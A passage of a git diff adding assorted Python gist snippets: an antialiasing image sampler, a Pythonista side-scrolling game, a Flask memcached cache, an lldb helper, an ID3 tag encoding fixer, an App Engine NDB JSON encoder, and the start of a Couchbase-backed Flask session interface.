+centerX = np.linspace(0.5/dX, 1.0 - 0.5/dX, dX).reshape((1, dX))
+centerY = np.linspace(0.5/dY, 1.0 - 0.5/dY, dY).reshape((dY, 1))
+
+# Create an array into which results will be accumulated
+img = np.zeros((dY, dX))
+if needWeights:
+	totalWeight = np.zeros((dY, dX))
+samplesDone = 0
+imgLock = threading.Lock()
+
+def accumulateImage(imgLocal, weight):
+	# Accumulate into the global image
+	with imgLock:
+		global img
+		img += imgLocal
+		if needWeights:
+			global totalWeight
+			totalWeight += weight
+
+		# Report progress now and then
+		global samplesDone
+		samplesDone += 1
+		if (samplesDone + 1) % 128 == 0:
+			print("Completed %d samples/px" % (samplesDone + 1))
+
+def evalSample(_):
+	weight = None
+
+	# Generate samples according to the desired kernel
+	if options.kernel == 'box':
+		sampleX = centerX + np.random.uniform(-radiusX, radiusX, size=(dY, dX))
+		sampleY = centerY + np.random.uniform(-radiusY, radiusY, size=(dY, dX))
+
+	elif options.kernel == 'gaussian':
+		# For gaussian samples, treat "radius" as the 3-sigma radius
+		sampleX = centerX + np.random.normal(scale = radiusX / 3.0, size=(dY, dX))
+		sampleY = centerY + np.random.normal(scale = radiusY / 3.0, size=(dY, dX))
+
+	elif options.kernel == 'lanczos':
+		# Can't directly sample Lanczos kernel, so just box-sample and weight appropriately
+		sampleX = np.random.uniform(-options.radius, options.radius, size=(dY, dX))
+		sampleY = np.random.uniform(-options.radius, options.radius, size=(dY, dX))
+		weight = (np.sin(np.pi * sampleX) * np.sin(np.pi * sampleY) *
+				  np.sin(np.pi * sampleX / options.radius) * np.sin(np.pi * sampleY / options.radius) /
+				  (sampleX**2 * sampleY**2))
+		sampleX = centerX + sampleX / dX
+		sampleY = centerY + sampleY / dY
+
+	else:
+		sys.exit("Unknown kernel type '%s'" % options.kernel)
+
+	# Evaluate the image at the generated sample positions
+	img = evalImage(sampleX, sampleY)
+	if needWeights:
+		img *= weight
+
+	accumulateImage(img, weight)
+
+def evalSampleSplat(_):
+	# Generate stratified samples over the image plane, jittering within each pixel square
+	sampleJitterX = np.random.uniform(-0.5, 0.5, size=(dY, dX))
+	sampleJitterY = np.random.uniform(-0.5, 0.5, size=(dY, dX))
+	sampleX = centerX + sampleJitterX/dX
+	sampleY = centerY + sampleJitterY/dY
+
+	# Evaluate the image at the generated sample positions
+	imgSamples = evalImage(sampleX, sampleY)
+
+	# Splat each sample result onto nearby pixels according to the desired kernel
+	img = np.zeros((dY, dX))
+	totalWeight = np.zeros((dY, dX))
+	radiusCeil = int(math.ceil(options.radius))
+	for offsetY in range(-radiusCeil, radiusCeil+1):
+		# Calculate vectors from each sample to the pixel centers at the current offset
+		sampleOffsetY = sampleJitterY - offsetY
+		for offsetX in range(-radiusCeil, radiusCeil+1):
+			sampleOffsetX = sampleJitterX - offsetX
+
+			if options.kernel == 'box':
+				weight = (np.where(np.abs(sampleOffsetX) <= options.radius, 1.0, 0.0) *
+						  np.where(np.abs(sampleOffsetY) <= options.radius, 1.0, 0.0))
+
+			elif options.kernel == 'gaussian':
+				# For gaussian samples, treat "radius" as the 3-sigma radius
+				weight = np.exp(-0.5 * (sampleOffsetX**2 + sampleOffsetY**2) / ((options.radius / 3.0)**2))
+
+			elif options.kernel == 'lanczos':
+				weight = (np.sin(np.pi * sampleOffsetX) * np.sin(np.pi * sampleOffsetY) *
+						  np.sin(np.pi * sampleOffsetX / options.radius) * np.sin(np.pi * sampleOffsetY / options.radius) /
+						  (sampleOffsetX**2 * sampleOffsetY**2))
+
+			else:
+				sys.exit("Unknown kernel type '%s'" % options.kernel)
+
+			weightedSamples = weight * imgSamples
+			img[max(0, offsetY) : dY + min(0, offsetY), max(0, offsetX) : dX + min(0, offsetX)] += (
+				weightedSamples[max(0, -offsetY) : dY + min(0, -offsetY), max(0, -offsetX) : dX + min(0, -offsetX)])
+			totalWeight[max(0, offsetY) : dY + min(0, offsetY), max(0, offsetX) : dX + min(0, offsetX)] += (
+				weight[max(0, -offsetY) : dY + min(0, -offsetY), max(0, -offsetX) : dX + min(0, -offsetX)])
+
+	accumulateImage(img, totalWeight)
+
+# Accumulate samples into an image, using a pool of worker threads
+with concurrent.futures.ThreadPoolExecutor(max_workers = multiprocessing.cpu_count()) as pool:
+	pool.map(evalSampleSplat if options.splat else evalSample, range(options.samples))
+
+if needWeights:
+	img /= totalWeight
+else:
+	img /= options.samples
+
+# Convert to sRGB
+img = img.clip(0.0, 1.0)
+img = np.where(img <= 0.0031308, 12.92*img, 1.055*img**(1.0/2.4) - 0.055)
+
+# Convert to 8-bit, send to PIL and save
+img8Bit = np.uint8(np.rint(img * 255.0))
+Image.fromarray(img8Bit).save(options.outputPath)
+print('Wrote output to %s' % options.outputPath)
diff --git a/hard-gists/8949577/._snippet.py b/hard-gists/8949577/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8949577/._snippet.py differ
diff --git a/hard-gists/8949577/snippet.py b/hard-gists/8949577/snippet.py
new file mode 100644
index 00000000..7fd6219e
--- /dev/null
+++ b/hard-gists/8949577/snippet.py
@@ -0,0 +1,358 @@
+from scene import *
+from PIL import Image
+import sound
+import random
+
+GAME_READY = 0
+GAME_PLAY = 1
+GAME_DYING = 2
+GAME_DEAD = 3
+
+FLOOR_IMGS = ['Ear_Of_Rice', 'Herb', 'Snail', 'Spiral_Shell', 'Turtle', 'Anchor', 'Pile_Of_Poo', 'Sailboat', 'Speedboat']
+BACK_IMGS = ['Blowfish', 'Dolphin', 'Fish', 'Tropical_Fish', 'Whale']
+
+
+class GameEnvironment(object):
+	def __init__(self, x, y, w, h):
+		self.playfield = Rect(x, y, w, h)
+		self.gravity =				int(h *-3.000)			# 3000
+		self.scroll = 				int(h * 0.300)			# 300
+		self.float_max = 			int(h * 0.300)			# 300
+		self.float_min =      int(h * 0.050)			# 50
+		self.jump = 					int(h * 0.800)			# 800
+		self.gap = 						int(h * 0.360)			# 360
+		self.ground_height =  int(h * 0.100)			# 100
+		self.tower_width =    int(h * 0.140)			# 140
+		self.tower_cap = 			int(h * 0.065)			# 65
+		self.tower_gap = (self.playfield.w - (self.tower_width * 2)) / 2
+		self.tower_min_height = self.tower_cap
+		self.tower_max_height = self.playfield.h - self.ground_height - self. tower_cap - self.tower_gap
+		self.player_width = 	int(h * 0.080)			# 80
+		self.player_height = 	int(h * 0.080)			# 80
+		self.player_x = 			int(h * 0.200)			# 200
+		self.player_y = self.playfield.h / 2 + self.ground_height
+		self.bubble_min = 		int(h * 0.002)			# 2
+		self.bubble_max = 		int(h * 0.020)			# 20
+		self.floor_min =  		int(h * 0.040)			# 40
+		self.floor_max =  		int(h * 0.128)			# 128
+		self.back_min =  			int(h * 0.020)			# 20
+		self.back_max =  			int(h * 0.040)			# 40
+		self.text_x = w / 2
+		self.text_1_y = 0.9 * h
+		self.text_2_y = 0.6 * h
+		self.text_3_y = 0.4 * h
+		self.font_size =  		int(h * 0.064)			#  64
+		self.font = 'AvenirNext-Heavy'
+		self.score = 0
+		self.best = 0
+		self.crash = False
+		self.gametime = 0
+		self.deadtime = 0
+		self.state = GAME_READY
+		
+class Bubble(object):
+	def __init__(self, x, y, w, h, float):
+		self.bounds = Rect(x, y, w, h)
+		self.float = float
+		self.alpha = random.random()
+		self.img = 'White_Circle'
+		
+	def draw(self):
+		tint(1, 1, 1, self.alpha)
+		image(self.img, self.bounds.x, self.bounds.y, self.bounds.w, self.bounds.h)
+		
+class Player(object):
+	def __init__(self, x, y, w, h):
+		self.bounds = Rect(x, y, w, h)
+		img = Image.open('Octopus').transpose(Image.FLIP_LEFT_RIGHT)
+		self.img = load_pil_image(img)
+		self.velocity = 0
+		self.jumped = False
+		
+	def draw(self):
+		tint(1.00, 1.00, 1.00)
+		image(self.img, self.bounds.x, self.bounds.y, self.bounds.w, self.bounds.h)
+		
+class FloorSprite(object):	
+	def __init__(self, env):
+		self.env = env
+		self.set_random_bounds()
+		self.set_random_image()
+		
+	def set_random_image(self):
+		img = Image.open(FLOOR_IMGS[random.randint(0, len(FLOOR_IMGS) - 1)])
+		if(random.random > 0.5):
+			img = img.transpose(Image.FLIP_LEFT_RIGHT)
+		self.img = load_pil_image(img)
+
+	def set_random_bounds(self):
+		env = self.env
+		size = random.randint(env.floor_min, env.floor_max)
+		y = random.randint(env.playfield.bottom(), env.ground_height)
+		x = random.randint(env.playfield.left(), env.playfield.right() + env.playfield.w)
+		self.bounds = Rect(x, y, size, size)
+		
+	def draw(self):
+		tint(1,1,1)
+		image(self.img, self.bounds.x, self.bounds.y, self.bounds.w, self.bounds.h)
+		
+class BackgroundSprite(object):
+	def __init__(self, env):
+		self.env = env
+		self.velocity = env.scroll / 4
+		self.set_random_bounds()
+		self.set_random_image()
+
+	def set_random_image(self):
+		img = Image.open(BACK_IMGS[random.randint(0, len(BACK_IMGS) - 1)])
+		self.velocity = random.randint(self.env.scroll / 4, self.env.scroll / 2)
+		if(random.random() > 0.5):
+			img = img.transpose(Image.FLIP_LEFT_RIGHT)
+			self.velocity *= -1
+		self.img = load_pil_image(img)
+
+	def set_random_bounds(self):
+		env = self.env
+		size = random.randint(env.back_min, env.back_max)
+		y = random.randint(env.ground_height, env.playfield.top() - size)
+		if self.velocity < 0:
+			x = env.playfield.left()
+		else:
+			x = env.playfield.right()
+		self.bounds = Rect(x, y, size, size)
+		
+	def draw(self):
+		tint(1,1,1)
+		image(self.img, self.bounds.x, self.bounds.y, self.bounds.w, self.bounds.h)
+				
+class Ground(object):
+	def __init__(self, x, y, w, h):
+		self.bounds = Rect(x, y, w, h)
+	
+	def draw(self):
+		stroke_weight(4)
+		stroke(0.00, 0.00, 0.00)
+		fill(0.50, 0.25, 0.00)
+		rect(self.bounds.x, self.bounds.y, self.bounds.w, self.bounds.h)
+		
+class Tower(object):
+	def __init__(self, x, env):
+		self.x = x
+		self.env = env
+		self.create_towers_and_caps()
+		
+	def set_x(self, x):
+		self.x = x
+		self.lower_tower.x = x + 6
+		self.lower_cap.x = x
+		self.upper_tower.x = x + 6
+		self.upper_cap.x = x
+		
+	def right(self):
+		return self.lower_tower.right()
+	
+	def left(self):
+		return self.lower_tower.left()
+		
+	def create_towers_and_caps(self):
+		self.passed = False
+		height = random.randint(self.env.tower_min_height, self.env.tower_max_height)
+		self.lower_tower = Rect(self.x + 6, self.env.ground_height, self.env.tower_width - 12, height)
+		self.lower_cap = Rect(self.x, self.env.ground_height + height - self.env.tower_cap, self.env.tower_width, self.env.tower_cap)
+		self.upper_tower =  Rect(self.x + 6, height + self.env.gap, self.env.tower_width - 12, self.env.playfield.h - height + self.env.gap)
+		self.upper_cap = Rect(self.x, height + self.env.gap, self.env.tower_width, self.env.tower_cap)
+		
+	def intersects(self, r):
+		return self.lower_tower.intersects(r) or self.upper_tower.intersects(r)
+		
+	def draw(self):
+		stroke_weight(4)
+		stroke(0.00, 0.50, 0.25)
+		stroke(0.20, 0.20, 0.00)
+		fill(0.00, 1.00, 0.00)
+		fill(0.50, 0.50, 0.00)
+		rect(self.lower_tower.x, self.lower_tower.y, self.lower_tower.w, self.lower_tower.h)
+		rect(self.lower_cap.x, self.lower_cap.y, self.lower_cap.w, self.lower_cap.h)
+		rect(self.upper_tower.x, self.upper_tower.y, self.upper_tower.w, self.upper_tower.h)
+		rect(self.upper_cap.x, self.upper_cap.y, self.upper_cap.w, self.upper_cap.h)
+
+class Game(object):
+	def __init__(self, x, y, w, h):
+		self.env = GameEnvironment(x, y, w, h)
+		self.game_setup()
+		
+	def game_setup(self):
+		self.env.score = 0
+		self.env.crash = False
+		self.env.state = GAME_READY
+		self.create_game_objects()
+		
+	def create_game_objects(self):
+		self.player = Player(self.env.player_x, self.env.player_y, self.env.player_width, self.env.player_height)
+		self.ground = Ground(self.env.playfield.x, self.env.playfield.y, self.env.playfield.w, self.env.ground_height)
+		self.towers = []
+		x = self.env.playfield.w * 2
+		for t in range(3):
+			self.towers.append(Tower(x, self.env))
+			x += self.env.tower_width + self.env.tower_gap
+		self.bubbles = []
+		for t in range(10):
+			d = random.randint(0, 20)
+			self.bubbles.append(Bubble(random.randint(0, self.env.playfield.w), random.randint(0, self.env.playfield.h), d, d,random.randint(self.env.float_min, self.env.float_max)))
+		self.floor_sprites = []
+		for t in range(1):
+			self.floor_sprites.append(FloorSprite(self.env))
+		self.background_sprites = []
+		for t in range(2):
+			self.background_sprites.append(BackgroundSprite(self.env))
+			
+	def move_player(self, dt):
+		if(self.env.state == GAME_DEAD):
+			return
+		elif((self.env.state == GAME_READY) and (self.player.bounds.y < (self.env.playfield.h / 2)) or self.player.jumped):
+			self.player.jumped = False
+			self.player.velocity = self.env.jump
+		else:
+			self.player.velocity = self.player.velocity + self.env.gravity * dt
+		self.player.bounds.y += self.player.velocity * dt
+		
+	def move_towers(self, dt):
+		if(self.env.state == GAME_PLAY):
+			move = self.env.scroll * dt
+			for tower in self.towers:
+				tower.set_x(tower.x - move)
+				if tower.right() < self.env.playfield.x:
+					tower.set_x(self.env.playfield.w + self.env.tower_gap)
+					tower.create_towers_and_caps()
+				
+	def move_bubbles(self, dt):
+		if(self.env.state == GAME_DEAD):
+			return
+		for bubble in self.bubbles:
+			if (bubble.bounds.bottom() > self.env.playfield.top()) or (bubble.bounds.left() < self.env.playfield.left()):
+				x = random.randint(self.env.playfield.left(), self.env.playfield.right() + self.env.playfield.w)
+				y = self.env.playfield.bottom() - random.randint(0, self.env.bubble_max)
+				d = random.randint(self.env.bubble_min, self.env.bubble_max)
+				bubble.bounds = Rect(x, y, d, d)
+				bubble.float = random.randint(self.env.float_min, self.env.float_max)
+			bubble.bounds.y += bubble.float * dt
+			if(self.env.state <> GAME_DYING):
+				bubble.bounds.x -= self.env.scroll * dt
+				
+	def move_floor_sprites(self, dt):
+		if(self.env.state == GAME_READY) or (self.env.state == GAME_PLAY):
+			move = self.env.scroll * dt
+			for sprite in self.floor_sprites:
+				sprite.bounds.x -= move
+				if sprite.bounds.right() < self.env.playfield.left():
+					sprite.set_random_image()
+					sprite.set_random_bounds()
+					sprite.bounds.x = random.randint(self.env.playfield.right(), self.env.playfield.right() + self.env.playfield.w)
+					
+	def move_background_sprites(self, dt):
+		if(self.env.state == GAME_READY) or (self.env.state == GAME_PLAY):
+			for sprite in self.background_sprites:
+				move = sprite.velocity * dt
+				sprite.bounds.x -= move
+				if(sprite.bounds.right() < self.env.playfield.left()) or (sprite.bounds.left() > self.env.playfield.right()):
+					sprite.set_random_image()
+					sprite.set_random_bounds()
+
+	def update_score(self):
+		if(self.env.state == GAME_PLAY):
+			for tower in self.towers:
+				if tower.passed == False:
+					if tower.left() < self.player.bounds.right():
+						tower.passed = True
+						self.env.score += 1
+						sound.play_effect('Coin_1')
+						
+	def player_dead(self):
+		self.env.state = GAME_DEAD
+		self.env.dead_time = self.env.game_time
+		if self.env.score > self.env.best:
+			self.env.best = self.env.score
+	
+	def collision_detect(self):
+		if(self.env.state == GAME_PLAY):
+			if self.player.bounds.bottom() < self.ground.bounds.top():
+				sound.play_effect('Crashing')
+				self.env.crash = True
+				self.player_dead()
+		elif(self.env.state == GAME_DYING):
+			if self.player.bounds.bottom() < self.ground.bounds.top():
+				self.player_dead()			
+		if self.env.state == GAME_PLAY:
+			if self.player.bounds.bottom() > self.env.playfield.top():
+					self.env.crash = True
+					self.env.state = GAME_DYING
+			else:
+				for tower in self.towers:
+					if tower.intersects(self.player.bounds):
+						sound.play_effect('Crashing')
+						self.env.crash = True
+						self.env.state = GAME_DYING
+					
+	def text_shadow(self, s, y):
+		tint(0, 0, 0)
+		text(s, self.env.font, self.env.font_size, self.env.text_x + 4, y - 4)
+		tint(1, 1, 1)
+		text(s, self.env.font, self.env.font_size, self.env.text_x, y)
+					
+	def draw(self):
+		if(self.env.crash):
+			background(1, 1, 1)
+			self.env.crash = False
+		else:
+			background(0.00, 0.50, 0.50)
+			for bubble in self.bubbles:
+				bubble.draw()	
+			for sprite in self.background_sprites:
+				sprite.draw()
+			self.ground.draw()
+			for tower in self.towers:
+				tower.draw()
+			self.player.draw()
+			for sprite in self.floor_sprites:
+				sprite.draw()
+			tint(0, 0, 0)
+			if(self.env.state == GAME_READY):
+				self.text_shadow("Tap to Start!", self.env.text_2_y)
+			elif((self.env.state == GAME_PLAY) or (self.env.state == GAME_DYING) or (self.env.state == GAME_READY)):
+				self.text_shadow(str(int(self.env.score)), self.env.text_1_y)
+			elif(self.env.state == GAME_DEAD):
+				self.text_shadow("Score : " + str(int(self.env.score)), self.env.text_2_y)
+				self.text_shadow("Best  : " + str(int(self.env.best)), self.env.text_3_y)
+				
+	def loop(self, dt, t):
+		self.env.game_time = t
+		self.move_player(dt)
+		self.move_towers(dt)
+		self.move_bubbles(dt)
+		self.move_floor_sprites(dt)
+		self.move_background_sprites(dt)
+		self.update_score()
+		self.collision_detect()
+		self.draw()
+		
+	def screen_tapped(self):
+		if(self.env.state == GAME_READY):
+			self.env.state = GAME_PLAY
+		if(self.env.state == GAME_PLAY):
+			self.player.jumped = True
+			sound.play_effect('Boing_1')
+		elif(self.env.state == GAME_DEAD):
+			if(self.env.dead_time + 0.5 < self.env.game_time):
+				self.game_setup()			
+
+class MyScene (Scene):
+	def setup(self):
+		self.game = Game(self.bounds.x, self.bounds.y, self.bounds.w, self.bounds.h)
+	
+	def draw(self):
+		self.game.loop(self.dt, self.t)
+	
+	def touch_began(self, touch):
+		self.game.screen_tapped()
+	
+run(MyScene(), PORTRAIT)
diff --git a/hard-gists/8951985/._snippet.py b/hard-gists/8951985/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8951985/._snippet.py differ
diff --git a/hard-gists/8951985/snippet.py b/hard-gists/8951985/snippet.py
new file mode 100644
index 00000000..fff7f4ec
--- /dev/null
+++ b/hard-gists/8951985/snippet.py
@@ -0,0 +1,92 @@
+import logging
+import pylibmc
+
+from werkzeug.contrib.cache import MemcachedCache
+
+from flask import request
+from flask.ext.cache import Cache
+
+log = logging.getLogger(__name__)
+
+mc = MemcachedCache()
+
+
+class GrovemadeCache(Cache):
+    '''
+    Grovemade specific caching
+
+    '''
+    def get_generation(self):
+        '''
+        Incremenent generation to invalidate all keys.
+        '''
+        return mc.get('GENERATION-KEY')
+
+    def inc_generation(self):
+        try:
+            mc.inc('GENERATION-KEY')
+        except pylibmc.NotFound:
+            mc.set('GENERATION-KEY', '1')  # memcached increments string integers
+
+
+    def get_group_key(self, group):
+        return u'GROUP-KEY:%s' % group
+
+    def get_groups_key(self, groups):
+        '''
+        Get a generation key for a list of groups
+        '''
+        # groups_key = u''
+        key_values = []
+        for group in groups:
+            group_key = self.get_group_key(group)
+            group_version = mc.get(group_key)
+            if group_version is None:
+                group_version = '1'
+                mc.set(group_key, group_version)
+            key_values.append(group_version)
+        groups_key = u':'.join(key_values)
+        return groups_key
+
+    def inc_group(self, group):
+        '''
+        Increment group. Call to invalidate cache for entire group.
+        '''
+        try:
+            mc.inc(self.get_group_key(group))
+        except pylibmc.NotFound:
+            mc.set(self.get_group_key(group), '1')  # memcached increments string integers
+
+    def build_group_key_prefix(self, groups=None):
+        '''
+        Generational caching strategy.
+        Generation is global to all groups
+        Groups are local to arbitrary groupings, such as "product" and "collection"
+        All may be expired at will.
+        '''
+        if groups is None:
+            groups = []
+        return u'{generation}:{groups}'.format(
+            groups=self.get_groups_key(groups),
+            generation=self.get_generation(),
+        )
+
+    # def cached(self, timeout=None, key_prefix='view/%s', unless=None):
+    def cached_generational(self, timeout=None, groups=None, key_prefix='view/%s', unless=None):
+        '''
+        Build generational cache key. Always vary on PJAX.
+        '''
+        def build_key():
+            if callable(key_prefix):
+                cache_key = key_prefix()
+            elif '%s' in key_prefix:
+                cache_key = key_prefix % request.path
+            else:
+                cache_key = key_prefix
+             
+            key = cache_key + self.build_group_key_prefix(groups) + request.headers.get('X-PJAX', '')
+            return key
+            # log.debug(u"Built group key: %s" % key)
+
+        return self.cached(timeout=timeout, key_prefix=build_key, unless=None)
+
diff --git a/hard-gists/8957990/._snippet.py b/hard-gists/8957990/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8957990/._snippet.py differ
diff --git a/hard-gists/8957990/snippet.py b/hard-gists/8957990/snippet.py
new file mode 100644
index 00000000..3f9c517e
--- /dev/null
+++ b/hard-gists/8957990/snippet.py
@@ -0,0 +1,14 @@
+import lldb
+import commands
+import optparse
+import shlex
+
+
+def __lldb_init_module (debugger, dict):
+	debugger.HandleCommand('command script add -f windowDescription.window_description_command window_description')
+	print 'The "window_description" command has been installed'
+	
+def window_description_command(debbuger, command, result, dict):
+	debbuger.HandleCommand('expr UIApplication *$uiapp = [UIApplication sharedApplication]')
+	debbuger.HandleCommand('expr UIApplication *$kw = [$uiapp keyWindow]')
+	debbuger.HandleCommand('po [$kw recursiveDescription]')
\ No newline at end of file
diff --git a/hard-gists/896603/._snippet.py b/hard-gists/896603/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/896603/._snippet.py differ
diff --git a/hard-gists/896603/snippet.py b/hard-gists/896603/snippet.py
new file mode 100644
index 00000000..7d0bb2b8
--- /dev/null
+++ b/hard-gists/896603/snippet.py
@@ -0,0 +1,90 @@
+#vim:fileencoding=utf-8
+#
+# 古いMP3エンコードソフトを使った時、
+# ID3タグにSJIS文字列が入っているのを修正する。
+#
+# エンコーディングがLatin-1なのにSJISらしき物を修正。
+#
+# 2011-3-31 Shigeru KANEMOTO
+# Public Domain
+#
+
+import os
+import os.path
+import eyeD3
+import re
+import pprint
+
+MUSIC_DIR = '/path/to/your/music/library'
+RE_IS_LATIN = re.compile(r'^[\w\s/.!@#$%^&*()-=_+;:\'"[\]?<>,]*$')
+
+w_flag = False
+l_flag = False
+s_args = []
+
+def fix(fname):
+  print fname
+  tag = eyeD3.Tag()
+  if not tag.link(fname):
+    return
+
+  print eyeD3.utils.versionToString(tag.header.version)
+
+  if s_args:
+    for s in s_args:
+      s = s.split(':', 1)
+      print u'Set %s: %s' % tuple(s)
+      tag.frames.setTextFrame(str(s[0]), s[1], eyeD3.UTF_16_ENCODING)
+
+  for frame in tag.frames:
+    try:
+      e = eyeD3.frames.id3EncodingToString(frame.encoding)
+      u = frame.text
+    except:
+      continue
+    if not isinstance(u, str) and not isinstance(u, unicode):
+      continue
+
+    if l_flag:
+      print frame, u, pprint.pformat(u)
+
+    if e == 'latin_1' and not RE_IS_LATIN.match(u):
+      u = u.encode('latin_1').decode('shift_jis')
+      print 'Recover:', u
+      frame.text = u
+      frame.encoding = eyeD3.UTF_16_ENCODING
+
+  if w_flag:
+    tag.update(eyeD3.ID3_V2_4)
+  print
+
+def walk(dirname):
+  for dirname, dirs, files in os.walk(dirname):
+    for fname in files:
+      fix(os.path.join(dirname, fname))
+
+def main():
+  global w_flag, l_flag
+  import sys
+  import getopt
+
+  opts, args = getopt.getopt(sys.argv[1:], 'wls:')
+  for opt, arg in opts:
+    if opt == '-w':
+      w_flag = True
+    elif opt == '-l':
+      l_flag = True
+    elif opt == '-s':
+      s_args.append(arg.decode('utf-8'))
+
+  if len(args) == 0:
+    walk(MUSIC_DIR)
+  else:
+    for arg in args:
+      if os.path.isdir(arg):
+	walk(arg)
+      else:
+	fix(arg)
+
+if __name__ == '__main__':
+  main()
diff --git a/hard-gists/8969259/._snippet.py b/hard-gists/8969259/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8969259/._snippet.py differ
diff --git a/hard-gists/8969259/snippet.py b/hard-gists/8969259/snippet.py
new file mode 100644
index 00000000..cc69997c
--- /dev/null
+++ b/hard-gists/8969259/snippet.py
@@ -0,0 +1,170 @@
+#!/usr/bin/env python
+"""
+JSON encoder/decoder adapted for use with Google App Engine NDB.
+
+Usage:
+
+  import ndb_json
+  
+  # Serialize an ndb.Query into an array of JSON objects.
+  query = models.MyModel.query()
+  query_json = ndb_json.dumps(query)
+  
+  # Convert into a list of Python dictionaries.
+  query_dicts = ndb_json.loads(query_json)
+  
+  # Serialize an ndb.Model instance into a JSON object.
+  entity = query.get()
+  entity_json = ndb_json.dumps(entity)
+  
+  # Convert into a Python dictionary.
+  entity_dict = ndb_json.loads(entity_json)
+
+
+Dependencies:
+
+  - dateutil: https://pypi.python.org/pypi/python-dateutil
+"""
+ 
+__author__ = 'Eric Higgins'
+__copyright__ = 'Copyright 2013, Eric Higgins'
+__version__ = '0.0.5'
+__email__ = 'erichiggins@gmail.com'
+__status__ = 'Development'
+
+
+import base64
+import datetime
+import json
+import re
+import time
+import types
+
+import dateutil.parser
+from google.appengine.ext import ndb
+
+
+def encode_model(obj):
+  """Encode objects like ndb.Model which have a `.to_dict()` method."""
+  obj_dict = obj.to_dict()
+  for key, val in obj_dict.iteritems():
+    if isinstance(val, types.StringType):
+      try:
+        unicode(val)
+      except UnicodeDecodeError:
+        # Encode binary strings (blobs) to base64.
+        obj_dict[key] = base64.b64encode(val)
+  return obj_dict
+
+
+def encode_generator(obj):
+  """Encode generator-like objects, such as ndb.Query."""
+  return list(obj)
+
+
+def encode_key(obj):
+  """Get the Entity from the ndb.Key for further encoding."""
+  # Note(eric): Potentially poor performance for Models w/ many KeyProperty properties.
+  return obj.get_async()
+  # Alternative 1: Convert into pairs.
+  # return obj.pairs()
+  # Alternative 2: Convert into URL-safe base64-encoded string.
+  # return obj.urlsafe()
+
+
+def encode_future(obj):
+  """Encode an ndb.Future instance."""
+  return obj.get_result()
+
+
+def encode_datetime(obj):
+  """Encode a datetime.datetime or datetime.date object as an ISO 8601 format string."""
+  # Reformat the date slightly for better JS compatibility.
+  # Offset-naive dates need 'Z' appended for JS.
+  # datetime.date objects don't have or need tzinfo, so don't append 'Z'.
+  zone = '' if getattr(obj, 'tzinfo', True) else 'Z'
+  return obj.isoformat() + zone
+
+
+def encode_complex(obj):
+  """Convert a complex number object into a list containing the real and imaginary values."""
+  return [obj.real, obj.imag]
+
+
+def encode_basevalue(obj):
+  """Retrieve the actual value from a ndb.model._BaseValue.
+  
+  This is a convenience function to assist with the following issue:
+  https://code.google.com/p/appengine-ndb-experiment/issues/detail?id=208
+  """
+  return obj.b_val
+
+
+NDB_TYPE_ENCODING = {
+  ndb.MetaModel: encode_model,
+  ndb.Query: encode_generator,
+  ndb.QueryIterator: encode_generator,
+  ndb.Key: encode_key,
+  ndb.Future: encode_future,
+  datetime.date: encode_datetime,
+  datetime.datetime: encode_datetime,
+  time.struct_time: encode_generator,
+  types.ComplexType: encode_complex,
+  ndb.model._BaseValue: encode_basevalue,
+  
+}
+
+
+class NdbEncoder(json.JSONEncoder):
+  """Extend the JSON encoder to add support for NDB Models."""
+
+  def default(self, obj):
+    """Overriding the default JSONEncoder.default for NDB support."""
+
+    obj_type = type(obj)
+    # NDB Models return a repr to calls from type().
+    if obj_type not in NDB_TYPE_ENCODING and hasattr(obj, '__metaclass__'):
+      obj_type = obj.__metaclass__
+    fn = NDB_TYPE_ENCODING.get(obj_type)
+    if fn:
+      return fn(obj)
+
+    return json.JSONEncoder.default(self, obj)
+
+
+def dumps(ndb_model, **kwargs):
+  """Custom json dumps using the custom encoder above."""
+  return NdbEncoder(**kwargs).encode(ndb_model)
+
+
+def dump(ndb_model, fp, **kwargs):
+  """Custom json dump using the custom encoder above."""
+  for chunk in NdbEncoder(**kwargs).iterencode(ndb_model):
+    fp.write(chunk)
+
+
+def loads(json_str, **kwargs):
+  """Custom json loads function that converts datetime strings."""
+  json_dict = json.loads(json_str, **kwargs)
+  if isinstance(json_dict, list):
+    return map(iteritems, json_dict)
+  return iteritems(json_dict)
+
+
+def iteritems(json_dict):
+  """Loop over a json dict and try to convert strings to datetime."""
+  for key, val in json_dict.iteritems():
+    if isinstance(val, dict):
+      iteritems(val)
+    # Its a little hacky to check for specific chars, but avoids integers.
+    elif isinstance(val, basestring) and 'T' in val:
+      try:
+        json_dict[key] = dateutil.parser.parse(val)
+        # Check for UTC.
+        if val.endswith(('+00:00', '-00:00', 'Z')):
+          # Then remove tzinfo for gae, which is offset-naive.
+          json_dict[key] = json_dict[key].replace(tzinfo=None)
+      except (TypeError, ValueError):
+        pass
+  return json_dict
+  
\ No newline at end of file
diff --git a/hard-gists/8973947/._snippet.py b/hard-gists/8973947/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8973947/._snippet.py differ
diff --git a/hard-gists/8973947/snippet.py b/hard-gists/8973947/snippet.py
new file mode 100644
index 00000000..9af0073d
--- /dev/null
+++ b/hard-gists/8973947/snippet.py
@@ -0,0 +1,76 @@
+# -*- coding: utf-8 -*-
+from uuid import uuid4
+
+from datetime import timedelta
+
+from couchbase import Couchbase
+
+from couchbase import FMT_PICKLE
+
+from couchbase.exceptions import NotFoundError
+
+from werkzeug.datastructures import CallbackDict
+
+from flask.sessions import SessionInterface, SessionMixin
+
+
+class CouchbaseSession(CallbackDict, SessionMixin):
+
+    def __init__(self, initial=None, sid=None, new=False):
+        def on_update(self):
+            self.modified = True
+        CallbackDict.__init__(self, initial, on_update)
+        self.sid = sid
+        self.new = new
+        self.modified = False
+
+
+class CouchbaseSessionInterface(SessionInterface):
+    session_class = CouchbaseSession
+
+    def __init__(self, couch=None, prefix='session:', serializer=FMT_PICKLE):
+        if couch is None:
+            couch = Couchbase.connect(bucket='sessions', host='localhost')
+        self.couch = couch
+        self.prefix = prefix
+        self.serializer = serializer
+
+    def generate_sid(self):
+        return str(uuid4())
+
+    def get_couch_expiration_time(self, app, session):
+        if session.permanent:
+            return app.permanent_session_lifetime
+        return timedelta(days=1)
+
+    def open_session(self, app, request):
+        sid = request.cookies.get(app.session_cookie_name)
+        if not sid:
+            sid = self.generate_sid()
+            return self.session_class(sid=sid, new=True)
